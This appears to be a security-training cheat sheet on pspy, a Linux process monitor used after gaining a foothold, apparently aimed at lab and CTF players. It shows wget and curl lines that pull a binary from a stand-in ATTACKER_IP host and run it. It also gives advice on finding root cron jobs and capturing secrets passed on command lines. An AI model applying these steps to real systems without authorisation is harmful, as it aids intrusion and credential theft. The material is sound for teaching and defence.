Pspy

pspy is a small static Go binary that shows every process the moment it starts on a Linux host, in real time, with no root and nothing to install. It polls the kernel process table and watches file-system events, so short-lived commands (cron jobs, root timers, one-off scripts) that would flash past you become readable. Reach for it right after a Linux foothold when you suspect “something runs on a timer as root” but cannot read /etc/crontab or the root crontab to prove it.

Mental model: /tmp/pspy [flags] - there is no target argument; it watches the whole local box you already have a shell on.

New to process monitoring? Core concepts
  • Procfs scan (-i): pspy polls /proc every 100 ms by default to catch new PIDs, printing each as a CMD: line. A lower interval catches faster commands.
  • File-system events (-f): inotify watches the default dirs (/usr /tmp /etc /home /var /opt) recursively and prints FS: lines for opens and writes.
  • CMD line: CMD: UID=0 PID=1234 | /usr/bin/foo --arg gives the user, the PID, and the full command with its arguments.
  • UID: UID=0 is root, and those are the lines worth chasing. Non-zero UIDs are usually noise.
  • Cron and timers: a command that repeats at a fixed interval, 60s being the classic CTF cron.
  • Read-only, no root: pspy reads only what any user can already see in /proc, but watches it continuously so nothing slips past. It changes nothing on the box.
  • Static vs dynamic build: pspy64s is fully static (no libc needed), pspy64 depends on the target’s shared libraries.
  • Live feed: continuous stdout. Pipe it to tee to keep a copy you can grep later.
When to reach for pspy (and when not)

Reach for it to catch root cron jobs and short-lived commands you cannot see by reading files, to grab credentials or tokens passed on a command line before they vanish, or, on your own boxes, to confirm a scheduled task fires when and as who you expect (blue-team validation) and to audit what actually runs on a timer.

Reach for something else when you can already read /etc/crontab, /etc/cron.*, or systemctl list-timers, because reading them is faster and quieter. On locked-down or monitored hosts a long-lived watcher (and the CPU a tight -i burns) is a liability. For crude one-off watching with no extra binary, watch -n1 'ps -ef' works but misses commands between polls; for durable, rich auditing use auditd or Sysmon for Linux, both of which need root and are defender tools. pspy is Linux-only: it reads the proc filesystem and does nothing on Windows.

Install, update, verify#

pspy is a single static binary, not a package, so “installing” it is downloading the prebuilt release that matches the target CPU.

# Grab the matching build from the DominicBreuker/pspy GitHub releases:
#   pspy64s  64-bit static (no libc, best default)   pspy32s  32-bit static
#   pspy64   64-bit dynamic                          pspy32   32-bit dynamic
ls /usr/share/pspy/ 2>/dev/null   # Kali often ships copies here

file ./pspy64s        # confirm arch: "ELF 64-bit ... statically linked"
./pspy64s --help      # list flags and confirm it runs

There is nothing to upgrade in place: a new release is just a new binary, so drop the latest pspy64s in and re-serve it. Current builds handle newer kernels and event edge cases more reliably. Quick self-test: run ./pspy64s, then in another shell run ls, and the ls line should pop into the feed within your scan interval.

Prefer the static build (pspy64s) for unknown targets: with no library dependencies it runs on stripped or old hosts where the dynamic build dies with a linker error.

Flags you’ll actually use#

Skim these first; the cheat sheet below is these flags combined.

FlagDoesFlagDoes
(none)Default: process events only, 100 ms scan-rWatch extra dirs recursively (inotify)
-pPrint process events (CMD: lines), on by default-dWatch extra dirs, non-recursive
-fPrint file-system events (FS: lines), off by default-cColor the feed (on by default; --color=false off)
-pfBoth process and file events (max visibility)--debugShow normally-hidden error messages
-iProcfs scan interval in ms (default 100)--helpList every flag

Cheat sheet#

Every block starts simple and adds one flag at a time, so you can stop at the line that does the job.

# Serve the binary from your attacker box (in the dir holding it)
python3 -m http.server 8000                # -> http://ATTACKER_IP:8000/pspy64s

# Pull it onto the target and make it runnable
wget http://ATTACKER_IP:8000/pspy64s -O /tmp/pspy && chmod +x /tmp/pspy
curl http://ATTACKER_IP:8000/pspy64s -o /tmp/pspy && chmod +x /tmp/pspy   # if no wget

# Run: stop at the line you need
/tmp/pspy                    # 1. process events (CMD lines), the default
/tmp/pspy -pf                # 2. + file-system events (FS lines)
/tmp/pspy -pf -i 50          # 3. + 50 ms scan, catch very short commands
/tmp/pspy -pf -r /opt        # 4. + also watch /opt recursively

# Save + review (kill color so the log stays clean)
/tmp/pspy -pf --color=false | tee /tmp/.p.log             # watch live and keep a copy
grep 'UID=0' /tmp/.p.log                                  # pull out root commands
grep 'UID=0' /tmp/.p.log | sort | uniq -c | sort -rn      # rank repeating (cron) commands

# Background so it survives your shell
/tmp/pspy -pf --color=false > /tmp/.p.log 2>&1 &          # note the job/PID; kill %1 when done

# Cleanup
rm -f /tmp/pspy /tmp/.p.log                               # leave the box clean

Command breakdowns#

Each block below explains one situation, the exact command, and what to expect back.

Serve the pspy binary from your attacker box#

cd ~/labs/box/bin && python3 -m http.server 8000

Hosts the release over HTTP at http://ATTACKER_IP:8000/pspy64s. Serve the static build so it runs regardless of the target’s libraries.

Pull pspy onto the target and make it runnable#

wget http://ATTACKER_IP:8000/pspy64s -O /tmp/pspy && chmod +x /tmp/pspy

Downloads and marks it executable in one line. No wget on the box? Use curl http://ATTACKER_IP:8000/pspy64s -o /tmp/pspy. For every transfer option and how to choose, see the file transfer methods guides.

Confirm the binary matches the target CPU#

file /tmp/pspy

Expect ELF 64-bit ... statically linked. A 32-versus-64 mismatch here is why --help later says “cannot execute binary file”; re-pull the matching pspy64s or pspy32s.

Watch processes start in real time#

/tmp/pspy

The default run: a banner, then live CMD: lines as commands fire. Open a second shell and run ls to watch it appear. Ctrl-C to stop.

Also watch file-system events#

/tmp/pspy -pf

Adds FS: lines (opens, writes, closes) on the default watched dirs. This is the best first look when you do not yet know what you are hunting.

Catch very short-lived commands#

/tmp/pspy -pf -i 50

Halves the scan interval to 50 ms so sub-100 ms commands do not slip between polls. It costs CPU, so do not go lower than the job needs.

Watch an extra directory where a script may live#

/tmp/pspy -pf -r /opt -r /var/www

Adds recursive inotify watches on top of the defaults. Use -d DIR instead when you want one directory watched but not its subdirectories.

Save the live feed while you watch#

/tmp/pspy -pf --color=false | tee /tmp/.p.log

Same feed on screen plus a file you can grep after a timer fires. --color=false keeps ANSI escape codes out of the log so later greps and tools read cleanly.

Run pspy in the background so it survives your shell#

/tmp/pspy -pf --color=false > /tmp/.p.log 2>&1 &

Detaches the watcher and frees the shell. Note the job number it prints and kill %1 when done. Lab use only, and remember to clean it up.

Pull root-owned commands out of a saved log#

grep 'UID=0' /tmp/.p.log

Filters the noise down to commands that ran as root, which are your action items. Run it after pspy has watched for at least one full cron cycle.

Rank commands to find the repeating cron job#

grep 'UID=0' /tmp/.p.log | sort | uniq -c | sort -rn

Counts root commands by how often they fired. A line that repeats every minute is almost certainly the cron or systemd timer you are after, and the count tells you the interval at a glance.

Keep a time-stamped, note-ready log#

/tmp/pspy -pf --color=false 2>&1 | tee "notes/pspy-$(date +%Y%m%d-%H%M).log"

One command shows the feed, strips color, and files it under a timestamp so separate runs never overwrite each other.

Clean pspy off the target when you are done#

rm -f /tmp/pspy /tmp/.p.log

Leave the box as you found it: the binary and its log are both artifacts a defender or the next player will find.

Work out why no events are appearing#

/tmp/pspy --debug

--debug surfaces the errors pspy normally hides, such as permission problems setting up inotify or unreadable /proc entries. If the feed is simply idle, run bare /tmp/pspy first to confirm process events work before blaming flags.

Reading the feed#

You seeMeaningDo next
A CMD: line with UID=0A command running as rootCheck whether its script or binary is writable by you
The same command every ~60scron or a systemd timerNote the interval and path, then wait for the window
A relative path or bare binary in a root jobPossible PATH hijackCheck the job’s PATH and any writable dir on it
A token, password, or key in the command lineSecret passed as an argumentCopy it before it scrolls away
An FS: line touching a script from a CMD: lineWhich file the job actually runsCorrelate the two to find the real target
A quiet or empty feedIdle host, or events disabledRun bare /tmp/pspy and wait longer for a timer

A CMD: line reads UID (who ran it), PID (the process id), then the full command with arguments. UID=0 is the whole game; everything else is context.

Troubleshooting#

ProblemCauseFix
cannot execute binary fileWrong architecture (32 vs 64)Transfer the matching build (pspy64s/pspy32s); confirm with file
Permission deniedMissing chmod +x, or a noexec mountchmod +x; run from /dev/shm if /tmp is noexec
No events at all-p and -f both off, or an idle hostRun bare /tmp/pspy, add -pf, and wait longer
Misses fast commandsScan interval too highLower with -i 50 or -i 10
Pegs a CPU coreScan interval too lowRaise -i back toward 100; drop -f
Download never lands on the targetWeb server unreachableCheck ATTACKER_IP, port 8000, and lab routing
Saved log is full of escape codesColor is on by defaultAdd --color=false, or strip with sed -r 's/\x1b\[[0-9;]*m//g'
no such file or directory when it clearly existsDynamic build, missing libcUse the static pspy64s build

Gotchas#

  • Kill it too early and you miss the timer. A once-a-minute root job needs a full minute of watching to fire even once, so give pspy at least two cron cycles before concluding nothing is scheduled.
  • /tmp is often mounted noexec. The file is fine; the mount refuses to run it. Copy to /dev/shm (almost always executable) instead of assuming a bad transfer.
  • Color is on by default, so a saved log fills with ANSI codes. Add --color=false whenever you pipe to tee or a file; grepping a colored log for UID=0 still matches, but it reads badly and trips up other tools.
  • A low -i is loud. pspy is read-only but not invisible: a tight scan loop pegs a core and shows up in ps and process accounting. The default 100 ms is plenty for a 60-second cron.
  • Seeing UID=0 is not the same as being able to abuse it. pspy shows what ran, never whether you can change it, so verify the script or binary is writable by hand before counting it as a path to root.
  • The download is louder than the watch. A wget or curl pull from an internal HTTP server lands in shell history, proxy logs, and network telemetry before pspy prints its first line; that transfer, not pspy, is usually what gets you noticed.

Pairs with#

Run linpeas for a broad one-shot privesc sweep while pspy watches timers in the background, and reach for nmap earlier to get the foothold pspy runs from. Pull the binary with wget or curl off your web server. Once pspy hands you a writable root cron script, GTFOBins turns it into a concrete technique. When you can already read /etc/crontab or systemctl list-timers, do that first; pspy is for when you cannot see the schedule any other way.

Find us elsewhere

Merch, stickers, and moreSupport the work at the Solvere Labs shop